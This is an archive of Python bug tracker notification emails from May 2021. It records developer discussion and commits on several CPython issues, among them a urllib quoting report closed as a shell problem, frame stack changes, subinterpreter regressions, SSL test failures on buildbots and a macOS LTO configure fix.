[issue44228] [urllib] Error with handling of urllib.parse.quote. Terminates halfway In-Reply-To: <1621906958.14.0.440306929159.issue44228@roundup.psfhosted.org> Message-ID: <1621933221.83.0.820703258503.issue44228@roundup.psfhosted.org> Martin Panter added the comment: I presume this is because you are running a Unix shell, and it's nothing to do with Python. Look up how quoting and variable substitution with dollar signs $ works. $ set -o nounset $ python3 -c "import urllib.parse; print (urllib.parse.quote('ab$cd&efg#hij$klm'))" bash: cd: unbound variable Works fine in the Python interpreter: >>> import urllib.parse; print (urllib.parse.quote('ab$cd&efg#hij$klm')) ab%24cd%26efg%23hij%24klm ---------- nosy: +martin.panter resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:10:22 2021 From: report at bugs.python.org (Swee Tat Lim) Date: Tue, 25 May 2021 09:10:22 +0000 Subject: [issue44228] [urllib] Error with handling of urllib.parse.quote. Terminates halfway In-Reply-To: <1621906958.14.0.440306929159.issue44228@roundup.psfhosted.org> Message-ID: <1621933822.83.0.527847546296.issue44228@roundup.psfhosted.org> Swee Tat Lim added the comment: yeah. Please close. Definitely a problem with the parameter expansion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:49:33 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 09:49:33 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621936173.86.0.12861461069.issue43109@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +24939 pull_request: https://github.com/python/cpython/pull/26349 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:51:59 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 09:51:59 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1621936319.15.0.291811019295.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: Do you want to attempt to backport the fix to 3.8, or can this issue be closed? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:56:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 09:56:55 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621936615.03.0.271135190756.issue44032@roundup.psfhosted.org> STINNER Victor added the comment: bpo-44184 has been fixed, it was unrelated. Mark fixed a bug in commit af5d497f72ceaf3f207a8aded028607c4c46a993. It seems like all issues are solved, I close the issue. Mark: please set the version field to 3.11 for work in 3.11. Commits: commit b11a951f16f0603d98de24fee5c023df83ea552c Author: Mark Shannon Date: Fri May 21 10:57:35 2021 +0100 bpo-44032: Move data stack to thread from FrameObject. (GH-26076) * Remove 'zombie' frames. We won't need them once we are allocating fixed-size frames. * Add co_nlocalplus field to code object to avoid recomputing size of locals + frees + cells. * Move locals, cells and freevars out of frame object into separate memory buffer. * Use per-threadstate allocated memory chunks for local variables. * Move globals and builtins from frame object to per-thread stack. * Move (slow) locals frame object to per-thread stack. * Move internal frame functions to internal header. commit 498383c019c1209f6fecf8f64ce44fbf437191da Author: Pablo Galindo Date: Fri May 21 19:15:39 2021 +0100 bpo-44032: Fix downcast conversion in frameobject.c (GH-26291) commit af5d497f72ceaf3f207a8aded028607c4c46a993 Author: Mark Shannon Date: Mon May 24 16:22:02 2021 +0100 bpo-44032: Delay deletion of stack chunks until thread state is deleted. (GH-26285) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:57:28 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 09:57:28 +0000 Subject: [issue44156] [subinterpreters] Replace static string caches with subinterpreter-compatible alternatives In-Reply-To: <1621244065.25.0.526859274821.issue44156@roundup.psfhosted.org> Message-ID: <1621936648.16.0.318782416848.issue44156@roundup.psfhosted.org> Change by STINNER Victor : ---------- components: +Subinterpreters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:57:59 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 09:57:59 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1621936679.63.0.261717101773.issue37788@roundup.psfhosted.org> STINNER Victor added the comment: Fix in the main branch: commit c10c2ec7a0e06975e8010c56c9c3270f8ea322ec Author: Antoine Pitrou Date: Fri May 14 21:37:20 2021 +0200 bpo-37788: Fix reference leak when Thread is never joined (GH-26103) When a Thread is not joined after it has stopped, its lock may remain in the _shutdown_locks set until interpreter shutdown. If many threads are created this way, the _shutdown_locks set could therefore grow endlessly. To avoid such a situation, purge expired locks each time a new one is added or removed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 05:59:08 2021 From: report at bugs.python.org (Jakub Kulik) Date: Tue, 25 May 2021 09:59:08 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1621936748.83.0.635492072687.issue43667@roundup.psfhosted.org> Jakub Kulik added the comment: Sorry for delayed response. Considering that we are not delivering or using 3.8 in any way and this issue doesn't seem to impact anybody else, we can omit the backport to 3.8. I will prepare another PR with a news fragment, and after that, this can be considered solved and closed. ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:02:40 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:02:40 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1621936960.61.0.263311194298.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: I close the issue, but you can still reference the bpo issue number for your PR with the changelog (NEWS) entry. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:15:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:15:29 +0000 Subject: [issue44050] [subinterpreters] _PyImport_FixupExtensionObject() regression in Python 3.9 In-Reply-To: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org> Message-ID: <1621937729.48.0.740684129882.issue44050@roundup.psfhosted.org> STINNER Victor added the comment: > The commit that fixes the issue in 3.10 is https://github.com/python/cpython/commit/7f1305ef9ea7234e1a5aacbea17490232e9b7dc2 Right, the _ssl module was ported to multiphase initialization (PEP 489) in bpo-42333 (fixed in Python 3.10.0a3). > This is a regression in 3.9. It didn't happen in 3.8. The commit that introduced the issue is https://github.com/python/cpython/commit/82c83bd907409c287a5bd0d0f4598f2c0538f34d In Python 3.9, some stdlib modules are still using the legacy API to initialize modules, and share states between interpreters. This is bad: no Python object (nor state) must be shared between two interpreters. Well, there is an on-going work on subinterpreters: * https://pyfound.blogspot.com/2021/05/the-2021-python-language-summit_16.html * https://vstinner.github.io/isolate-subinterpreters.html For example, many C extensions are being converted to the multiphase initialization API and get a "module state". The _PyImport_FixupExtensionObject() change impacts extensions using the legacy API and so should not be used in subinterpreters. Maybe the old behavior was better: if an extension uses the old API, share its state between all interpreters. ---------- nosy: +corona10, erlendaasland, shihai1991 -christian.heimes title: Exceptions in a subinterpreter are changed by another subinterpreter -> [subinterpreters] _PyImport_FixupExtensionObject() regression in Python 3.9 versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:17:19 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:17:19 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1621937839.09.0.257584279883.issue37596@roundup.psfhosted.org> STINNER Victor added the comment: > Another idea, would it be possible to add a flag to turn on reproducibility, sacrificing performance? The flag is the SOURCE_DATE_EPOCH env var, no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:20:51 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:20:51 +0000 Subject: [issue43583] make test failures, 2 tests failed: test_embed test_tabnanny In-Reply-To: <1616341139.4.0.592020830762.issue43583@roundup.psfhosted.org> Message-ID: <1621938051.03.0.315596673495.issue43583@roundup.psfhosted.org> STINNER Victor added the comment: > I'm trying to install python 3.9.2 on a 18.04.5 ubuntu. I downloaded the Python-3.9.2.tar.xz and followed the readme.txt installation instructions. When executing the "make test" command I get this error : Please provide *all* commands that you typed before you got the error. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:21:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:21:03 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1621938063.61.0.576135978609.issue44031@roundup.psfhosted.org> STINNER Victor added the comment: Please provide *all* commands that you typed before you got the error. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:23:05 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:23:05 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1621938185.04.0.569264759701.issue43908@roundup.psfhosted.org> STINNER Victor added the comment: main branch: commit a09fc9c63f1b5980c62ff2712f67500bacb92b04 Author: Erlend Egeberg Aasland Date: Fri May 14 00:44:55 2021 +0200 bpo-43908: Add What's New entry for Py_TPFLAGS_IMMUTABLETYPE flag (GH-25816) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:24:18 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:24:18 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1621938258.74.0.772914023408.issue43908@roundup.psfhosted.org> STINNER Victor added the comment: Guido: "I don?t think we?re waiting for more crazy hacks." Right now, _ast.AST is still mutable: $ ./python Python 3.11.0a0 (heads/subtype_dealloc-dirty:efd45ad788, May 21 2021 >>> import _ast >>> _ast.AST.x=1 >>> _ast.AST.x 1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:25:32 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 10:25:32 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621938332.31.0.198781528701.issue43109@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24940 pull_request: https://github.com/python/cpython/pull/26350 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:26:41 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 10:26:41 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1621938401.55.0.290557284059.issue36384@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I'm closing this, if someone thinks something is missing, please, reopen ---------- nosy: +pablogsal resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:27:48 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 10:27:48 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621938468.61.0.078553003531.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Unfortunately this is still failing sporadically. Last failure 5 days ago: https://buildbot.python.org/all/#/builders/405/builds/153 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:28:41 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 10:28:41 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621938521.56.0.703019986224.issue43921@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: The issue is marked as referred blocker, it won't block this beta release, but it will block the next, so we should decide how to proceed by then ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:29:17 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 10:29:17 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621938557.32.0.884064862558.issue44229@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:29:34 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 10:29:34 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1621938574.29.0.559790007491.issue43908@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Notice this issue is marked as "deferred blocker" it won't block this beta release (beta 2) but it will block the next. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:39:50 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 May 2021 10:39:50 +0000 Subject: [issue43921] test_ssl fails on Windows buildbots In-Reply-To: <1619175378.51.0.235353622205.issue43921@roundup.psfhosted.org> Message-ID: <1621939190.18.0.183670147347.issue43921@roundup.psfhosted.org> Christian Heimes added the comment: I neither have a macOS nor a Windows machine to reproduce and debug the issue. Since I'm cannot reproduce the problem on Linux, I'm unable to debug and fix it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:40:47 2021 From: report at bugs.python.org (Christian Heimes) Date: Tue, 25 May 2021 10:40:47 +0000 Subject: [issue44229] test_get_server_certificate fails intermittently on macOS In-Reply-To: <1621927496.04.0.290597318406.issue44229@roundup.psfhosted.org> Message-ID: <1621939247.93.0.780788722418.issue44229@roundup.psfhosted.org> Christian Heimes added the comment: The problem could be related to bpo-43921. I neither have a macOS nor a Windows machine to reproduce and debug the issue. Since I'm cannot reproduce the problem on Linux, I'm unable to debug and fix it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:51:12 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 10:51:12 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1621939872.03.0.643506090916.issue43908@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24941 pull_request: https://github.com/python/cpython/pull/26351 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:55:15 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:55:15 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1621940115.18.0.0507788384794.issue36384@roundup.psfhosted.org> STINNER Victor added the comment: I created https://python-security.readthedocs.io/vuln/ipaddress-ipv4-leading-zeros.html to track this vulnerability. Python 3.8 is left unchanged (accept leading zeros). Python 3.7 and older are not affected. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:56:56 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 10:56:56 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621940216.42.0.644055766981.issue43109@roundup.psfhosted.org> miss-islington added the comment: New changeset ddc503c8d20c4893e69b5bf466ad85da6a3f0be6 by Miss Islington (bot) in branch '3.10': bpo-43109: configure doc: LTO requires "ar" on macOS (GH-26349) https://github.com/python/cpython/commit/ddc503c8d20c4893e69b5bf466ad85da6a3f0be6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:58:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:58:29 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621940309.71.0.076908848074.issue43109@roundup.psfhosted.org> STINNER Victor added the comment: Thanks to the bug report Andrew C. Morrow, it's now fixed. Commits in main: commit 59acfd4a09df1c141dac7845eed008af8970fce7 Author: Ned Deily Date: Mon May 24 23:00:04 2021 -0400 bpo-43109: Fix --with-lto configure option on macOS (GH-26341) Allow --with-lto configure option to work with Apple-supplied Xcode or Command Line Tools which do not provide llvm-ar. commit 63f17c252ab1b9357c5f022296213c42d9629458 (HEAD -> main, upstream/main) Author: Victor Stinner Date: Tue May 25 12:25:22 2021 +0200 bpo-43109: configure doc: LTO requires "ar" on macOS (GH-26349) Commits in 3.10 branch: commit ddc503c8d20c4893e69b5bf466ad85da6a3f0be6 (upstream/3.10, 3.10) Author: Miss Islington (bot) <31488909+miss-islington at users.noreply.github.com> Date: Tue May 25 03:56:37 2021 -0700 bpo-43109: configure doc: LTO requires "ar" on macOS (GH-26349) (cherry picked from commit 63f17c252ab1b9357c5f022296213c42d9629458) Co-authored-by: Victor Stinner ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 06:58:37 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 10:58:37 +0000 Subject: [issue43109] When using Apple Clang, --with-lto builds should not check for llvm-ar In-Reply-To: <1612306369.28.0.04507829507.issue43109@roundup.psfhosted.org> Message-ID: <1621940317.92.0.832342844532.issue43109@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:10:17 2021 From: report at bugs.python.org (Matthias Klose) Date: Tue, 25 May 2021 11:10:17 +0000 Subject: [issue44230] lookup extensions with the stable ABI under a platform specific name Message-ID: <1621941017.83.0.685868201234.issue44230@roundup.psfhosted.org> New submission from Matthias Klose : On Posix targets, the file names for extensionsions are currently foo.cpython-39-x86_64-linux-gnu.so foo.abi3.so for platforms which have PLATFORM_TRIPLET defined. This makes it clear which extension belongs to which interpreter, and at least on Debian and Ubuntu, it allowes cross-building of extensions by installing both the required build and host (or host and target) packages in the same environment. Of course, the stable ABI is stable, so introducing another extension suffix to lookup has to be optional. Having such a lookup only as a local patch in a CPython build would make these extensions not loadable by other CPython builds. Proposing to also look up an extension with the stable ABI as foo.x86_64-linux-gnu.abi3.so Not using foo.x86_64-linux-gnu-abi3.so (with a dash) to keep possible .endswith() matches working. Adding this new lookup to _PyImport_DynLoadFiletab, before or after the original .abi3.so should be possible. - Adding it after the original one has the advantage that lookups won't get penalized with one extra lookup for people not using it. - Adding it before the original one has the advantage that the more specific one is looked up before the more general one. That behavior could also become the default on Debian builds using a local patch. One more question would be how to document that change, or if the platform specific extension file name should be the preferred name for the future. Adding here just a minimal patch for discussion. ---------- components: Extension Modules files: platform-stable-abi.diff keywords: patch messages: 394325 nosy: barry, doko, petr.viktorin priority: normal severity: normal status: open title: lookup extensions with the stable ABI under a platform specific name type: enhancement versions: Python 3.10, Python 3.11 Added file: https://bugs.python.org/file50062/platform-stable-abi.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:13:20 2021 From: report at bugs.python.org (Mark Shannon) Date: Tue, 25 May 2021 11:13:20 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1621941200.33.0.167537197602.issue44206@roundup.psfhosted.org> Mark Shannon added the comment: Which optimizations? LOAD_GLOBAL: Using a keys version instead of a whole dict version means that LOAD_GLOBAL won't leak references. It also means that we can (in the future) remove the PEP 509 version and save 8 bytes per dict. LOAD_ATTR: _PyDict_GetItemHint() still has to do quite a lot of work compared to a version check. The hint approach can't quickly tell us whether a name is not in a dictionary, which is needed for optimizing non-descriptor class attributes. LOAD_METHOD: Because functions are non-overriding descriptors we need to quickly check that the instance does not have an attribute shadowing the method. Why is 32 bits enough? Because the version is reset to zero, whenever the dict keys changes, and only set to non-zero when we explicitly ask for it when optimizing. 4 billion optimization events is a lot. It can't overflow, it just becomes useless when we reach UINT_MAX. Using 64 bits would just waste memory. Overall, versioning the dictionary's keys is more useful and more compact than versioning the dictionary as a whole. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:20:51 2021 From: report at bugs.python.org (=?utf-8?q?George-Cristian_B=C3=AErzan?=) Date: Tue, 25 May 2021 11:20:51 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1621941651.6.0.194845884194.issue36384@roundup.psfhosted.org> George-Cristian B?rzan added the comment: The timeline there is wrong. This issue's creation time isn't the disclosure time, it's when the bug was introduced. The disclosure was on 30th of May, when I emailed security at python.org and Christian Heimes commented here and made https://github.com/python/cpython/pull/25099. Even though Serhiy Storchaka commented that this could be a security issue back when the issue was new, the date would be 30th of March 2019, not 20th. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:25:56 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 11:25:56 +0000 Subject: [issue44231] Remove _PyTuple_FromArray from the public API Message-ID: <1621941956.81.0.550032848927.issue44231@roundup.psfhosted.org> New submission from Erlend E. Aasland : I propose to remove the undocumented function _PyTuple_FromArray from the public API, by using the extern keyword iso. PyAPI_FUNC. _PyTuple_FromArray was introduced by bpo-36030 in GH-11954 during the Python 3.8 alpha phase. In the stdlib, it is used by the itertools module only. It "lives" in Include/internal/pycore_tupleobject.h. ---------- components: C API messages: 394328 nosy: erlendaasland, petr.viktorin, vstinner priority: normal severity: normal status: open title: Remove _PyTuple_FromArray from the public API type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:27:42 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 11:27:42 +0000 Subject: [issue44231] Remove _PyTuple_FromArray from the public API Message-ID: <1621942062.7.0.430805859626.issue44231@roundup.psfhosted.org> New submission from Erlend E. Aasland : I propose to remove the undocumented function _PyTuple_FromArray from the public API, by using the extern keyword iso. PyAPI_FUNC. _PyTuple_FromArray was introduced by bpo-36030 in GH-11954 during the Python 3.8 alpha phase. In the stdlib, it is used by the itertools module only. It "lives" in Include/internal/pycore_tuple.h. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:27:27 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 11:27:27 +0000 Subject: [issue44231] Remove _PyTuple_FromArray from the public API Message-ID: <1621942047.33.0.623481917175.issue44231@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- Removed message: https://bugs.python.org/msg394328 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:39:15 2021 From: report at bugs.python.org (Mariusz Felisiak) Date: Tue, 25 May 2021 11:39:15 +0000 Subject: [issue44232] Crash in Objects/typeobject.c Message-ID: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> New submission from Mariusz Felisiak : We noticed a behavior change in [1]. One of our tests `apps.tests.AppsTests.test_model_clash()`[2] crashes with: python: Objects/typeobject.c:3219: type_new: Assertion `type != NULL' failed. Fatal Python error: Aborted Current thread 0x00007ffa6951a280 (most recent call first): File "django/tests/apps/tests.py", line 301 in test_model_clash File "cpython/Lib/unittest/case.py", line 549 in _callTestMethod File "cpython/Lib/unittest/case.py", line 592 in run File "cpython/Lib/unittest/case.py", line 652 in __call__ File "django/django/test/testcases.py", line 283 in _setup_and_call File "django/django/test/testcases.py", line 247 in __call__ File "cpython/Lib/unittest/suite.py", line 122 in run File "cpython/Lib/unittest/suite.py", line 84 in __call__ File "cpython/Lib/unittest/runner.py", line 176 in run File "django/django/test/runner.py", line 705 in run_suite File "django/django/test/runner.py", line 772 in run_tests File "django/tests/./runtests.py", line 332 in django_tests File "django/tests/./runtests.py", line 596 in Aborted (core dumped) This can be an issue is our test which is quite tricky. I will try to investigate it. [1] https://github.com/python/cpython/commit/ecf14e6557c6e4f7af9c0d6460d31fe121c22553 [2] https://github.com/django/django/blob/7e51893911237dfca9294e3ca12163ff813fb656/tests/apps/tests.py#L274-L309 ---------- components: Interpreter Core messages: 394330 nosy: felixxm, vstinner priority: normal severity: normal status: open title: Crash in Objects/typeobject.c type: crash versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:41:03 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 25 May 2021 11:41:03 +0000 Subject: [issue44230] lookup extensions with the stable ABI under a platform specific name In-Reply-To: <1621941017.83.0.685868201234.issue44230@roundup.psfhosted.org> Message-ID: <1621942863.85.0.0149023795148.issue44230@roundup.psfhosted.org> Petr Viktorin added the comment: How will these filenames be generated? Won't build tools like setuptools need to be changed as well? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:42:11 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 11:42:11 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621942931.93.0.747447608308.issue44131@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24945 pull_request: https://github.com/python/cpython/pull/26353 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:42:11 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 11:42:11 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1621942931.78.0.553143074708.issue43795@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24943 pull_request: https://github.com/python/cpython/pull/26353 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:42:11 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 25 May 2021 11:42:11 +0000 Subject: [issue42591] Method Py_FrozenMain missing in libpython3.9 In-Reply-To: <1607356833.89.0.498069278584.issue42591@roundup.psfhosted.org> Message-ID: <1621942931.86.0.613542837333.issue42591@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24944 pull_request: https://github.com/python/cpython/pull/26353 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:42:06 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Tue, 25 May 2021 11:42:06 +0000 Subject: [issue44231] Remove _PyTuple_FromArray from the public API In-Reply-To: <1621942062.7.0.430805859626.issue44231@roundup.psfhosted.org> Message-ID: <1621942926.7.0.648392267461.issue44231@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- keywords: +patch pull_requests: +24942 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26352 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:46:20 2021 From: report at bugs.python.org (Matthias Klose) Date: Tue, 25 May 2021 11:46:20 +0000 Subject: [issue44230] lookup extensions with the stable ABI under a platform specific name In-Reply-To: <1621941017.83.0.685868201234.issue44230@roundup.psfhosted.org> Message-ID: <1621943180.63.0.93660374573.issue44230@roundup.psfhosted.org> Matthias Klose added the comment: > How will these filenames be generated? Won't build tools like setuptools need to be changed as well? If the preferred file name stays the same, it would be up to the distro specific packaging tools. But yes, if the platform specific name would be the preferred one, then it needs documentation and coordination with build tools. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 07:59:25 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 25 May 2021 11:59:25 +0000 Subject: [issue42591] Method Py_FrozenMain missing in libpython3.9 In-Reply-To: <1607356833.89.0.498069278584.issue42591@roundup.psfhosted.org> Message-ID: <1621943965.86.0.192129514151.issue42591@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 68b9c20a98887bf0a92698f8df9f28b9440970dc by Miss Islington (bot) in branch '3.10': bpo-43795: Remove Py_FrozenMain from the Limited API & Stable ABI (GH-26241) (GH-26353) 